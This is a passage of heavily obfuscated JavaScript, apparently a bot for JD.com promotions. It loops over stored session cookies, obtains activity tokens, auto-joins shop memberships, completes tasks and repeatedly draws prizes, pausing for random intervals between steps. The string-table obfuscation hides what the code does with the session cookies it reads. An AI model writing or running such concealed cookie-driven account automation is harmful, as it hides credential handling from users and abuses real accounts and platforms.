decodeURIComponent(_0x3565dd);};_0x67b5['jKFnKq']={};_0x67b5['vrqVyL']=!![];}var _0x2445d0=_0x67b5['jKFnKq'][_0x455351];if(_0x2445d0===undefined){_0x4b8ced=_0x67b5['pysOjb'](_0x4b8ced);_0x67b5['jKFnKq'][_0x455351]=_0x4b8ced;}else{_0x4b8ced=_0x2445d0;}return _0x4b8ced;};let cookiesArr=[],cookie='';let activityCookie='';let lz_jdpin_token='';if($[_0x67b5('0')]()){Object[_0x67b5('1')](jdCookieNode)[_0x67b5('2')](_0x52ad04=>{cookiesArr[_0x67b5('3')](jdCookieNode[_0x52ad04]);});if(process[_0x67b5('4')][_0x67b5('5')]&&process[_0x67b5('4')][_0x67b5('5')]===_0x67b5('6'))console[_0x67b5('7')]=()=>{};}else{cookiesArr=[$[_0x67b5('8')](_0x67b5('9')),$[_0x67b5('8')](_0x67b5('a')),...jsonParse($[_0x67b5('8')](_0x67b5('b'))||'[]')[_0x67b5('c')](_0x1ac1dc=>_0x1ac1dc[_0x67b5('d')])][_0x67b5('e')](_0x30db0e=>!!_0x30db0e);}guaopencard_addSku=$[_0x67b5('0')]()?process[_0x67b5('4')][_0x67b5('f')]?process[_0x67b5('4')][_0x67b5('f')]:''+guaopencard_addSku:$[_0x67b5('8')](_0x67b5('f'))?$[_0x67b5('8')](_0x67b5('f')):''+guaopencard_addSku;guaopencard_addSku=$[_0x67b5('0')]()?process[_0x67b5('4')][_0x67b5('10')]?process[_0x67b5('4')][_0x67b5('10')]:''+guaopencard_addSku:$[_0x67b5('8')](_0x67b5('10'))?$[_0x67b5('8')](_0x67b5('10')):''+guaopencard_addSku;guaopencard=$[_0x67b5('0')]()?process[_0x67b5('4')][_0x67b5('11')]?process[_0x67b5('4')][_0x67b5('11')]:''+guaopencard:$[_0x67b5('8')](_0x67b5('11'))?$[_0x67b5('8')](_0x67b5('11')):''+guaopencard;guaopencard=$[_0x67b5('0')]()?process[_0x67b5('4')][_0x67b5('12')]?process[_0x67b5('4')][_0x67b5('12')]:''+guaopencard:$[_0x67b5('8')](_0x67b5('12'))?$[_0x67b5('8')](_0x67b5('12')):''+guaopencard;guaopencard_draw=$[_0x67b5('0')]()?process[_0x67b5('4')][_0x67b5('13')]?process[_0x67b5('4')][_0x67b5('13')]:guaopencard_draw:$[_0x67b5('8')](_0x67b5('13'))?$[_0x67b5('8')](_0x67b5('13')):guaopencard_draw;guaopencard_draw=$[_0x67b5('0')]()?process[_0x67b5('4')][_0x67b5('14')]?process[_0x67b5('4')][_0x67b5('14')]:guaopencard_draw:$[_0x67b5('8')](_0x67b5('14'))?$[_0x67b5('8')](_0x67b5('14')):guaopencard_draw;message='';$[_0x67b5('15')]=![];!(async()=>{var _0x2e3c47={'UWhWW':_0x67b5('16'),'VkTfl':_0x67b5('17'),'ZhtFW':function(_0x13fac8,_0x2f6352){return _0x13fac8!=_0x2f6352;},'nUljc':function(_0x551ecc,_0x245bc6){return _0x551ecc+_0x245bc6;},'qwUzj':_0x67b5('18'),'mUVqB':_0x67b5('19'),'vyzbF':function(_0x4daa15,_0x55a97e){return _0x4daa15!=_0x55a97e;},'jDZDP':_0x67b5('1a'),'kfbDH':_0x67b5('1b'),'yzpxF':function(_0x39cbe3,_0x42a134){return _0x39cbe3<_0x42a134;},'rRqCB':function(_0x1e56e1,_0x2ee9d6){return _0x1e56e1===_0x2ee9d6;},'AUPKH':_0x67b5('1c'),'jRGmJ':_0x67b5('1d'),'TcdCS':function(_0x4cb6ba,_0x3f8795){return _0x4cb6ba!==_0x3f8795;},'NIZIE':_0x67b5('1e'),'bNKfF':_0x67b5('1f'),'jScXO':function(_0x5f5c9e,_0x22634a){return _0x5f5c9e(_0x22634a);},'WeXbT':function(_0x201706){return _0x201706();},'FzNeE':function(_0x5d4a47,_0x10718a){return _0x5d4a47==_0x10718a;},'kOzXH':_0x67b5('20')};if(!cookiesArr[0x0]){$[_0x67b5('21')]($[_0x67b5('22')],_0x2e3c47[_0x67b5('23')],_0x2e3c47[_0x67b5('24')],{'open-url':_0x2e3c47[_0x67b5('24')]});return;}if($[_0x67b5('0')]()&&![]){if(_0x2e3c47[_0x67b5('25')](_0x2e3c47[_0x67b5('26')](guaopencard,''),_0x2e3c47[_0x67b5('27')])){console[_0x67b5('7')](_0x2e3c47[_0x67b5('28')]);}if(_0x2e3c47[_0x67b5('29')](_0x2e3c47[_0x67b5('26')](guaopencard,''),_0x2e3c47[_0x67b5('27')])){return;}}$[_0x67b5('2a')]=_0x2e3c47[_0x67b5('2b')];$[_0x67b5('2c')]=_0x2e3c47[_0x67b5('2d')];console[_0x67b5('7')](_0x67b5('2e')+$[_0x67b5('2c')]+_0x67b5('2f')+$[_0x67b5('2a')]);for(let _0x1f19da=0x0;_0x2e3c47[_0x67b5('30')](_0x1f19da,cookiesArr[_0x67b5('31')])&&!![];_0x1f19da++){if(_0x2e3c47[_0x67b5('32')](_0x2e3c47[_0x67b5('33')],_0x2e3c47[_0x67b5('34')])){$[_0x67b5('35')]=res[_0x67b5('36')][_0x67b5('31')];$[_0x67b5('7')](_0x67b5('37')+res[_0x67b5('36')][_0x67b5('31')]+'个');}else{cookie=cookiesArr[_0x1f19da];if(cookie){if(_0x2e3c47[_0x67b5('38')](_0x2e3c47[_0x67b5('39')],_0x2e3c47[_0x67b5('3a')])){$[_0x67b5('3b')]=_0x2e3c47[_0x67b5('3c')](decodeURIComponent,cookie[_0x67b5('3d')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0x67b5('3d')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x67b5('3e')]=_0x2e3c47[_0x67b5('26')](_0x1f19da,0x1);_0x2e3c47[_0x67b5('3f')](getUA);console[_0x67b5('7')](_0x67b5('40')+$[_0x67b5('3e')]+'】'+$[_0x67b5('3b')]+_0x67b5('41'));await _0x2e3c47[_0x67b5('3f')](run);if(_0x2e3c47[_0x67b5('42')](_0x1f19da,0x0)&&!$[_0x67b5('43')])break;if($[_0x67b5('15')])break;}else{msg+=_0x67b5('44')+res[_0x67b5('36')][_0x67b5('45')]+_0x67b5('46');}}}}if($[_0x67b5('15')]){let _0x3212eb=_0x2e3c47[_0x67b5('47')];$[_0x67b5('21')]($[_0x67b5('22')],'',''+_0x3212eb);if($[_0x67b5('0')]())await notify[_0x67b5('48')](''+$[_0x67b5('22')],''+_0x3212eb);}})()[_0x67b5('49')](_0x480336=>$[_0x67b5('4a')](_0x480336))[_0x67b5('4b')](()=>$[_0x67b5('4c')]());async function run(){var _0x47eaf4={'UhPAl':function(_0x26d1f7){return _0x26d1f7();},'kMwWx':function(_0x2dadb3,_0x53dae5){return _0x2dadb3==_0x53dae5;},'pLcRv':_0x67b5('4d'),'RElOO':function(_0x999853,_0x13a092){return _0x999853==_0x13a092;},'SxTtA':function(_0x4d1e04,_0x487dcf){return _0x4d1e04!=_0x487dcf;},'wcMxr':function(_0x459a17,_0x190648){return _0x459a17+_0x190648;},'fwATN':_0x67b5('16'),'PDlPZ':_0x67b5('17'),'XlazV':_0x67b5('4e'),'mdPnZ':function(_0x30827f,_0x436df6){return _0x30827f>_0x436df6;},'qJNUs':_0x67b5('4f'),'fWoij':function(_0x7dcedf,_0x518ec8){return _0x7dcedf+_0x518ec8;},'CVPpe':_0x67b5('50'),'Uynvq':_0x67b5('51'),'YFqFS':function(_0x174ffc,_0x15092e){return _0x174ffc+_0x15092e;},'xHzRi':_0x67b5('52'),'VJsUv':function(_0x16f18c,_0x173ca4){return _0x16f18c===_0x173ca4;},'kQhln':_0x67b5('53'),'OBetL':function(_0x1c210e,_0x18c68f){return _0x1c210e!=_0x18c68f;},'JCqAn':function(_0x52e4af,_0x1a27f6){return _0x52e4af!=_0x1a27f6;},'CEbFr':function(_0x5b23d9){return _0x5b23d9();},'RDxzD':function(_0x16a9b1,_0x41baf8){return _0x16a9b1(_0x41baf8);},'CuaLy':function(_0x5f2ea5,_0x52319e){return _0x5f2ea5!==_0x52319e;},'BjWMH':_0x67b5('54'),'aZAcA':_0x67b5('55'),'AECWQ':function(_0x2943b5,_0x16c4eb){return _0x2943b5!==_0x16c4eb;},'EmQSm':_0x67b5('56'),'ZSxzP':_0x67b5('57'),'DeZBy':function(_0x542d33){return _0x542d33();},'UKUWS':function(_0x2c1bcd,_0x210275){return _0x2c1bcd==_0x210275;},'BJaoL':function(_0x5a8cc4,_0x4337bd){return _0x5a8cc4!==_0x4337bd;},'Xrauj':_0x67b5('58'),'hRkRE':_0x67b5('59'),'AWdKb':function(_0xaa2bcb){return _0xaa2bcb();},'UbFeq':function(_0x3649a1,_0x58f8bb){return _0x3649a1==_0x58f8bb;},'AdGFz':_0x67b5('5a'),'fJbvi':function(_0x3b009a){return _0x3b009a();},'dHJsn':_0x67b5('5b'),'TYQvf':function(_0x26007c,_0x338ee0){return _0x26007c!==_0x338ee0;},'QKSFm':_0x67b5('5c'),'ejupo':_0x67b5('5d'),'sTQmL':_0x67b5('5e'),'lSokH':function(_0x425fbf){return _0x425fbf();},'vvBiy':function(_0x11e6ee,_0x16c009,_0x48950b){return _0x11e6ee(_0x16c009,_0x48950b);},'vxfPS':function(_0x433428,_0x134a24){return _0x433428+_0x134a24;},'zAjhC':function(_0x421c9a,_0x5d7737){return _0x421c9a*_0x5d7737;},'IMZTs':function(_0x5e0f8c,_0x36044a){return _0x5e0f8c==_0x36044a;},'MnQhx':function(_0x52fcb6,_0xd9b9b4){return _0x52fcb6===_0xd9b9b4;},'GJAMS':_0x67b5('5f'),'fQdgn':_0x67b5('60'),'IRnut':function(_0x5d0daa,_0x4bf21d){return _0x5d0daa+_0x4bf21d;},'MwVNo':function(_0x2c2714,_0x27967a,_0x1d1faf){return _0x2c2714(_0x27967a,_0x1d1faf);},'tJNvJ':function(_0x2c803f,_0x4eeb27){return _0x2c803f+_0x4eeb27;},'cQbYc':function(_0x2d3b5b,_0x171c8e){return _0x2d3b5b*_0x171c8e;},'nxLNB':function(_0x1d44e3,_0xe55061){return _0x1d44e3+_0xe55061;},'BWOlo':_0x67b5('61'),'Jabyf':function(_0x379f6e,_0x59778f){return _0x379f6e*_0x59778f;},'mqakh':function(_0xc810e2){return _0xc810e2();},'OoCxb':function(_0x256adf,_0x12a7db,_0x1a774e){return _0x256adf(_0x12a7db,_0x1a774e);},'mZrAD':function(_0x11c2ef,_0x209aa5,_0x164775,_0x430485){return _0x11c2ef(_0x209aa5,_0x164775,_0x430485);},'dXCsb':_0x67b5('62'),'NpsQR':function(_0x5dc592,_0x4efc29){return _0x5dc592+_0x4efc29;},'PRSxN':function(_0x280acf,_0x21837c,_0x378a68,_0x54e12e){return _0x280acf(_0x21837c,_0x378a68,_0x54e12e);},'Ftqsy':function(_0x35fbd6,_0x1ad566,_0x920616){return _0x35fbd6(_0x1ad566,_0x920616);},'rfyoY':function(_0x87c318,_0x2d1ca9){return _0x87c318+_0x2d1ca9;},'MghfR':_0x67b5('18'),'hRlxZ':function(_0x57b950,_0x564209){return _0x57b950!==_0x564209;},'RSjYt':_0x67b5('63'),'ugIdv':_0x67b5('64'),'sgRGA':function(_0x174b02,_0x4ee0a0,_0x243ef0){return _0x174b02(_0x4ee0a0,_0x243ef0);},'awdLn':function(_0x238188,_0x5642e3){return _0x238188+_0x5642e3;},'bBpHL':function(_0xed7236,_0x36d42c){return _0xed7236*_0x36d42c;},'thAGk':_0x67b5('65'),'gZyee':function(_0x1d2881,_0x4001ce){return _0x1d2881!==_0x4001ce;},'IrOcU':_0x67b5('66'),'JtWLb':_0x67b5('67'),'FTvgG':function(_0x3b6e23,_0x3b8864){return _0x3b6e23==_0x3b8864;},'DIklx':function(_0x197857,_0x264280){return _0x197857!==_0x264280;},'CNWKl':_0x67b5('68'),'BzTHu':_0x67b5('69'),'vvzJg':function(_0x32e285,_0x50b567,_0x5f532a,_0x37de30){return _0x32e285(_0x50b567,_0x5f532a,_0x37de30);},'RzMOh':_0x67b5('6a'),'MEBsd':function(_0xc2feb6,_0x1fd81e,_0x5e3653){return _0xc2feb6(_0x1fd81e,_0x5e3653);},'Kaiug':function(_0x2a1268,_0x2650a6){return _0x2a1268!==_0x2650a6;},'oPZTH':function(_0x295113,_0x507a20){return _0x295113/_0x507a20;},'IgNiG':_0x67b5('6b'),'yGJqs':function(_0x1668fe,_0x219568,_0x1a2814){return _0x1668fe(_0x219568,_0x1a2814);},'rVNqZ':function(_0x165253,_0x5b9109){return _0x165253+_0x5b9109;},'cCiNE':_0x67b5('6c'),'AWePy':function(_0x9183b7,_0x5c0458){return _0x9183b7===_0x5c0458;},'tSTvy':_0x67b5('6d'),'WFtvi':_0x67b5('6e'),'LFVAM':function(_0x31932c,_0x2bf942,_0x54f388){return _0x31932c(_0x2bf942,_0x54f388);},'xmMYd':function(_0x563f89,_0x2b8318){return _0x563f89+_0x2b8318;},'modZW':function(_0xb55705,_0x2f32ec){return _0xb55705*_0x2f32ec;},'NSozV':function(_0x17b21f){return _0x17b21f();},'fRYxV':function(_0x3334e2,_0x1538d4){return _0x3334e2+_0x1538d4;},'XQnxh':function(_0x5325cd,_0x121616){return _0x5325cd*_0x121616;},'gGopc':function(_0x59934d,_0x429573){return _0x59934d*_0x429573;},'FSALA':function(_0x303371,_0x2ffaea){return _0x303371+_0x2ffaea;},'weXCl':_0x67b5('6f'),'RbZpH':function(_0x22f111,_0x44c496){return _0x22f111===_0x44c496;},'Jupdv':_0x67b5('70'),'rnYlx':_0x67b5('71'),'eCCbl':function(_0x73d435,_0x3f3bb7){return _0x73d435+_0x3f3bb7;},'ewIIg':function(_0x1d23a9,_0x19a3f4){return _0x1d23a9*_0x19a3f4;},'xsIqF':_0x67b5('72')};try{if(_0x47eaf4[_0x67b5('73')](_0x47eaf4[_0x67b5('74')],_0x47eaf4[_0x67b5('75')])){if($[_0x67b5('15')])return;lz_jdpin_token='';$[_0x67b5('76')]='';$[_0x67b5('77')]='';await _0x47eaf4[_0x67b5('78')](getCk);if(_0x47eaf4[_0x67b5('79')](activityCookie,'')){if(_0x47eaf4[_0x67b5('7a')](_0x47eaf4[_0x67b5('7b')],_0x47eaf4[_0x67b5('7c')])){console[_0x67b5('7')](_0x67b5('7d'));return;}else{console[_0x67b5('7')](''+(res[_0x67b5('7e')]||''));}}await _0x47eaf4[_0x67b5('7f')](getToken);if(_0x47eaf4[_0x67b5('80')]($[_0x67b5('76')],'')){if(_0x47eaf4[_0x67b5('81')](_0x47eaf4[_0x67b5('82')],_0x47eaf4[_0x67b5('82')])){_0x47eaf4[_0x67b5('83')](resolve);}else{console[_0x67b5('7')](_0x47eaf4[_0x67b5('84')]);return;}}await _0x47eaf4[_0x67b5('85')](getSimpleActInfoVo);$[_0x67b5('86')]='';await _0x47eaf4[_0x67b5('85')](getMyPing);if(_0x47eaf4[_0x67b5('87')]($[_0x67b5('77')],'')||_0x47eaf4[_0x67b5('88')](typeof $[_0x67b5('89')],_0x47eaf4[_0x67b5('8a')])||_0x47eaf4[_0x67b5('88')](typeof $[_0x67b5('8b')],_0x47eaf4[_0x67b5('8a')])){$[_0x67b5('7')](_0x47eaf4[_0x67b5('8c')]);return;}await _0x47eaf4[_0x67b5('8d')](accessLogWithAD);$[_0x67b5('8e')]=_0x47eaf4[_0x67b5('8f')];await _0x47eaf4[_0x67b5('8d')](getUserInfo);$[_0x67b5('43')]='';await _0x47eaf4[_0x67b5('8d')](getActorUuid);if(!$[_0x67b5('43')]){if(_0x47eaf4[_0x67b5('90')](_0x47eaf4[_0x67b5('91')],_0x47eaf4[_0x67b5('92')])){console[_0x67b5('7')](_0x47eaf4[_0x67b5('93')]);return;}else{let _0x1b5255=res[_0x67b5('36')][i];if(_0x47eaf4[_0x67b5('94')](_0x1b5255[_0x67b5('95')],_0x47eaf4[_0x67b5('96')]))num++;if(_0x47eaf4[_0x67b5('79')](_0x1b5255[_0x67b5('95')],_0x47eaf4[_0x67b5('96')]))value=_0x1b5255[_0x67b5('97')][_0x67b5('98')]('京豆','');if(_0x47eaf4[_0x67b5('99')](_0x1b5255[_0x67b5('95')],_0x47eaf4[_0x67b5('96')]))console[_0x67b5('7')](''+(_0x47eaf4[_0x67b5('9a')](jsonName[_0x1b5255[_0x67b5('95')]]||_0x1b5255[_0x67b5('95')],':')||'')+_0x1b5255[_0x67b5('97')]);}}await _0x47eaf4[_0x67b5('9b')](drawContent);$[_0x67b5('9c')]='';await _0x47eaf4[_0x67b5('9b')](checkOpenCard);await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('9e')](parseInt,_0x47eaf4[_0x67b5('9f')](_0x47eaf4[_0x67b5('a0')](Math[_0x67b5('a1')](),0x3e8),0x7d0),0xa));console[_0x67b5('7')](_0x67b5('a2')+$[_0x67b5('a3')]);if(!$[_0x67b5('a3')]&&$[_0x67b5('9c')]&&!$[_0x67b5('15')]){for(let _0x6e55ca of $[_0x67b5('9c')]&&$[_0x67b5('9c')]||[]){if(_0x47eaf4[_0x67b5('a4')](_0x6e55ca[_0x67b5('a5')],![])){if(_0x47eaf4[_0x67b5('a6')](_0x47eaf4[_0x67b5('a7')],_0x47eaf4[_0x67b5('a8')])){$[_0x67b5('21')]($[_0x67b5('22')],_0x47eaf4[_0x67b5('a9')],_0x47eaf4[_0x67b5('aa')],{'open-url':_0x47eaf4[_0x67b5('aa')]});return;}else{await _0x47eaf4[_0x67b5('ab')](join,_0x6e55ca[_0x67b5('8b')]);await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('9e')](parseInt,_0x47eaf4[_0x67b5('ac')](_0x47eaf4[_0x67b5('a0')](Math[_0x67b5('a1')](),0x3e8),0x7d0),0xa));await _0x47eaf4[_0x67b5('9b')](drawContent);await _0x47eaf4[_0x67b5('9b')](checkOpenCard);}}}await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('ad')](parseInt,_0x47eaf4[_0x67b5('ae')](_0x47eaf4[_0x67b5('af')](Math[_0x67b5('a1')](),0x3e8),0xbb8),0xa));await _0x47eaf4[_0x67b5('9b')](drawContent);await _0x47eaf4[_0x67b5('9b')](checkOpenCard);console[_0x67b5('7')](_0x67b5('a2')+$[_0x67b5('a3')]);await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('ad')](parseInt,_0x47eaf4[_0x67b5('b0')](_0x47eaf4[_0x67b5('af')](Math[_0x67b5('a1')](),0x3e8),0x7d0),0xa));}if($[_0x67b5('b1')])await _0x47eaf4[_0x67b5('ab')](draw,_0x47eaf4[_0x67b5('b2')]);if($[_0x67b5('b1')])await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('ad')](parseInt,_0x47eaf4[_0x67b5('b0')](_0x47eaf4[_0x67b5('b3')](Math[_0x67b5('a1')](),0x3e8),0x7d0),0xa));await _0x47eaf4[_0x67b5('b4')](getInitInfo);if($[_0x67b5('15')])return;await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('b5')](parseInt,_0x47eaf4[_0x67b5('b0')](_0x47eaf4[_0x67b5('b3')](Math[_0x67b5('a1')](),0x3e8),0x7d0),0xa));console[_0x67b5('7')](_0x67b5('b6')+$[_0x67b5('b7')]);if(!$[_0x67b5('b7')])await _0x47eaf4[_0x67b5('b8')](saveTask,_0x47eaf4[_0x67b5('b9')],0x17,0x17);if(!$[_0x67b5('b7')])await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('b5')](parseInt,_0x47eaf4[_0x67b5('ba')](_0x47eaf4[_0x67b5('b3')](Math[_0x67b5('a1')](),0x3e8),0x7d0),0xa));console[_0x67b5('7')](_0x67b5('bb')+$[_0x67b5('bc')]);if(!$[_0x67b5('bc')])await _0x47eaf4[_0x67b5('bd')](saveTask,'签到',0x0,0x0);if(!$[_0x67b5('bc')])await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('be')](parseInt,_0x47eaf4[_0x67b5('bf')](_0x47eaf4[_0x67b5('b3')](Math[_0x67b5('a1')](),0x3e8),0x7d0),0xa));console[_0x67b5('7')](_0x67b5('c0')+$[_0x67b5('c1')]);if(_0x47eaf4[_0x67b5('a4')](_0x47eaf4[_0x67b5('bf')](guaopencard_addSku,''),_0x47eaf4[_0x67b5('c2')])){if(_0x47eaf4[_0x67b5('c3')](_0x47eaf4[_0x67b5('c4')],_0x47eaf4[_0x67b5('c4')])){try{return JSON[_0x67b5('c5')](str);}catch(_0x4ba04d){console[_0x67b5('7')](_0x4ba04d);$[_0x67b5('21')]($[_0x67b5('22')],'',_0x47eaf4[_0x67b5('c6')]);return[];}}else{if(!$[_0x67b5('c1')])await _0x47eaf4[_0x67b5('bd')](saveTask,_0x47eaf4[_0x67b5('c7')],0x15,0x15);if(!$[_0x67b5('c1')])await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('c8')](parseInt,_0x47eaf4[_0x67b5('c9')](_0x47eaf4[_0x67b5('ca')](Math[_0x67b5('a1')](),0x3e8),0x7d0),0xa));}}else console[_0x67b5('7')](_0x47eaf4[_0x67b5('cb')]);let _0x5ea0a7=0x1;for(let _0x1d6b11 of $[_0x67b5('cc')]&&$[_0x67b5('cc')]||[]){if(_0x47eaf4[_0x67b5('c3')](_0x1d6b11[_0x67b5('cd')],!![])){if(_0x47eaf4[_0x67b5('ce')](_0x47eaf4[_0x67b5('cf')],_0x47eaf4[_0x67b5('d0')])){if(_0x47eaf4[_0x67b5('d1')](_0x5ea0a7,0x1)){if(_0x47eaf4[_0x67b5('d2')](_0x47eaf4[_0x67b5('d3')],_0x47eaf4[_0x67b5('d3')])){for(let _0x13a825 of res[_0x67b5('d4')][_0x67b5('d5')][_0x67b5('d6')]){console[_0x67b5('7')](_0x67b5('d7')+_0x13a825[_0x67b5('d8')]+_0x13a825[_0x67b5('d9')]+_0x13a825[_0x67b5('da')]);}}else{console[_0x67b5('7')](_0x47eaf4[_0x67b5('db')]);_0x5ea0a7=0x0;}}await _0x47eaf4[_0x67b5('dc')](saveTask,_0x47eaf4[_0x67b5('dd')],0x5,_0x1d6b11[_0x67b5('de')]);await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('c8')](parseInt,_0x47eaf4[_0x67b5('c9')](_0x47eaf4[_0x67b5('ca')](Math[_0x67b5('a1')](),0x3e8),0x1388),0xa));if($[_0x67b5('15')])break;}else{let _0x45527a=ck[_0x67b5('df')](';')[0x0][_0x67b5('e0')]();if(_0x45527a[_0x67b5('df')]('=')[0x1]){if(_0x47eaf4[_0x67b5('e1')](_0x45527a[_0x67b5('e2')](_0x47eaf4[_0x67b5('e3')]),-0x1))lz_jdpin_token=_0x47eaf4[_0x67b5('e4')](_0x45527a[_0x67b5('98')](/ /g,''),';');if(_0x47eaf4[_0x67b5('e1')](_0x45527a[_0x67b5('e2')](_0x47eaf4[_0x67b5('e5')]),-0x1))LZ_TOKEN_KEY=_0x47eaf4[_0x67b5('e4')](_0x45527a[_0x67b5('98')](/ /g,''),';');if(_0x47eaf4[_0x67b5('e1')](_0x45527a[_0x67b5('e2')](_0x47eaf4[_0x67b5('e6')]),-0x1))LZ_TOKEN_VALUE=_0x47eaf4[_0x67b5('e7')](_0x45527a[_0x67b5('98')](/ /g,''),';');}}}}if($[_0x67b5('15')])return;await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('e8')](parseInt,_0x47eaf4[_0x67b5('c9')](_0x47eaf4[_0x67b5('ca')](Math[_0x67b5('a1')](),0x3e8),0x7d0),0xa));await _0x47eaf4[_0x67b5('b4')](getActorUuid);console[_0x67b5('7')](_0x67b5('e9')+$[_0x67b5('ea')]+_0x67b5('eb')+$[_0x67b5('45')]+_0x67b5('ec')+$[_0x67b5('ed')]);let _0x3aa73e=0x0;if(_0x47eaf4[_0x67b5('ee')](_0x47eaf4[_0x67b5('c9')](guaopencard_draw,''),'0')){let _0x229aaa=_0x47eaf4[_0x67b5('e8')](parseInt,_0x47eaf4[_0x67b5('ef')]($[_0x67b5('45')],0x64),0xa);guaopencard_draw=_0x47eaf4[_0x67b5('e8')](parseInt,guaopencard_draw,0xa);if(_0x47eaf4[_0x67b5('e1')](_0x229aaa,guaopencard_draw))_0x229aaa=guaopencard_draw;console[_0x67b5('7')](_0x67b5('f0')+_0x229aaa);for(j=0x1;_0x229aaa--&&!![];j++){_0x3aa73e=0x1;console[_0x67b5('7')]('第'+j+'次');await _0x47eaf4[_0x67b5('ab')](draw,_0x47eaf4[_0x67b5('f1')]);await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('f2')](parseInt,_0x47eaf4[_0x67b5('f3')](_0x47eaf4[_0x67b5('ca')](Math[_0x67b5('a1')](),0x3e8),0xfa0),0xa));if($[_0x67b5('15')])break;}}else console[_0x67b5('7')](_0x47eaf4[_0x67b5('f4')]);if($[_0x67b5('15')])return;if(_0x47eaf4[_0x67b5('d1')](_0x3aa73e,0x1)){if(_0x47eaf4[_0x67b5('f5')](_0x47eaf4[_0x67b5('f6')],_0x47eaf4[_0x67b5('f7')])){res=$[_0x67b5('f8')](data);if(_0x47eaf4[_0x67b5('79')](typeof res,_0x47eaf4[_0x67b5('f9')])&&res[_0x67b5('d4')]&&_0x47eaf4[_0x67b5('87')](res[_0x67b5('d4')],!![])){if(_0x47eaf4[_0x67b5('99')](typeof res[_0x67b5('36')][_0x67b5('43')],_0x47eaf4[_0x67b5('8a')]))$[_0x67b5('43')]=res[_0x67b5('36')][_0x67b5('43')];if(_0x47eaf4[_0x67b5('fa')](typeof res[_0x67b5('36')][_0x67b5('45')],_0x47eaf4[_0x67b5('8a')]))$[_0x67b5('45')]=res[_0x67b5('36')][_0x67b5('45')];if(_0x47eaf4[_0x67b5('fb')](typeof res[_0x67b5('36')][_0x67b5('ea')],_0x47eaf4[_0x67b5('8a')]))$[_0x67b5('ea')]=res[_0x67b5('36')][_0x67b5('ea')];if(_0x47eaf4[_0x67b5('fb')](typeof res[_0x67b5('36')][_0x67b5('ed')],_0x47eaf4[_0x67b5('8a')]))$[_0x67b5('ed')]=res[_0x67b5('36')][_0x67b5('ed')];}else if(_0x47eaf4[_0x67b5('79')](typeof res,_0x47eaf4[_0x67b5('f9')])&&res[_0x67b5('7e')]){console[_0x67b5('7')](_0x67b5('fc')+(res[_0x67b5('7e')]||''));}else{console[_0x67b5('7')](data);}}else{await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('fd')](parseInt,_0x47eaf4[_0x67b5('fe')](_0x47eaf4[_0x67b5('ff')](Math[_0x67b5('a1')](),0x3e8),0x7d0),0xa));await _0x47eaf4[_0x67b5('100')](getActorUuid);}}if($[_0x67b5('15')])return;await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('fd')](parseInt,_0x47eaf4[_0x67b5('101')](_0x47eaf4[_0x67b5('102')](Math[_0x67b5('a1')](),0x3e8),0x7d0),0xa));await _0x47eaf4[_0x67b5('100')](getDrawRecordHasCoupon);await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('fd')](parseInt,_0x47eaf4[_0x67b5('101')](_0x47eaf4[_0x67b5('103')](Math[_0x67b5('a1')](),0x3e8),0x7d0),0xa));await _0x47eaf4[_0x67b5('100')](getShareRecord);$[_0x67b5('7')]($[_0x67b5('43')]);$[_0x67b5('7')](_0x47eaf4[_0x67b5('104')](_0x47eaf4[_0x67b5('105')],$[_0x67b5('2a')]));if(_0x47eaf4[_0x67b5('f5')]($[_0x67b5('3e')],0x1)){if($[_0x67b5('43')]){if(_0x47eaf4[_0x67b5('106')](_0x47eaf4[_0x67b5('107')],_0x47eaf4[_0x67b5('107')])){$[_0x67b5('2a')]=$[_0x67b5('43')];console[_0x67b5('7')](_0x67b5('108')+$[_0x67b5('2a')]);}else{_0x47eaf4[_0x67b5('78')](resolve);}}else{console[_0x67b5('7')](_0x47eaf4[_0x67b5('109')]);return;}}await $[_0x67b5('9d')](_0x47eaf4[_0x67b5('fd')](parseInt,_0x47eaf4[_0x67b5('10a')](_0x47eaf4[_0x67b5('10b')](Math[_0x67b5('a1')](),0x3e8),0x1388),0xa));}else{$['UA']=_0x67b5('10c')+_0x47eaf4[_0x67b5('ab')](randomString,0x28)+_0x67b5('10d');}}catch(_0xc1ca50){if(_0x47eaf4[_0x67b5('106')](_0x47eaf4[_0x67b5('10e')],_0x47eaf4[_0x67b5('10e')])){console[_0x67b5('7')](_0xc1ca50);}else{$[_0x67b5('4a')](_0xc1ca50,resp);}}}function getDrawRecordHasCoupon(){var _0x98c676={'YPbno':function(_0xe0ea88){return _0xe0ea88();},'eLVsR':_0x67b5('10f'),'AzdOP':_0x67b5('110'),'AVBbF':_0x67b5('111'),'PEvTu':_0x67b5('112'),'gUgKc':function(_0x851a58,_0x54be87){return _0x851a58==_0x54be87;},'wuuDi':_0x67b5('4d'),'lkLkm':function(_0x2596eb,_0x9263d7){return _0x2596eb!=_0x9263d7;},'KRQeG':function(_0x534d60,_0x27dd87){return _0x534d60+_0x27dd87;},'cglpq':function(_0x279ac9,_0x40fc61){return _0x279ac9>_0x40fc61;},'xpjon':function(_0x136f7a,_0x470133){return _0x136f7a*_0x470133;},'oZdaD':function(_0x4aacc1,_0x14cabd,_0x21b7bc){return _0x4aacc1(_0x14cabd,_0x21b7bc);},'FRzRs':_0x67b5('113'),'rmjMe':function(_0x23d352,_0x2124db){return _0x23d352!==_0x2124db;},'dtVdv':_0x67b5('114'),'LDjah':_0x67b5('115'),'OyNKi':function(_0x5e292b,_0x26c9e3){return _0x5e292b===_0x26c9e3;},'CZSGB':_0x67b5('116'),'cuGzM':_0x67b5('117'),'XVwHO':function(_0x596e66,_0x4b97dd){return _0x596e66==_0x4b97dd;},'ewehy':_0x67b5('52'),'xXIjK':function(_0x3a7dec,_0x57a515){return 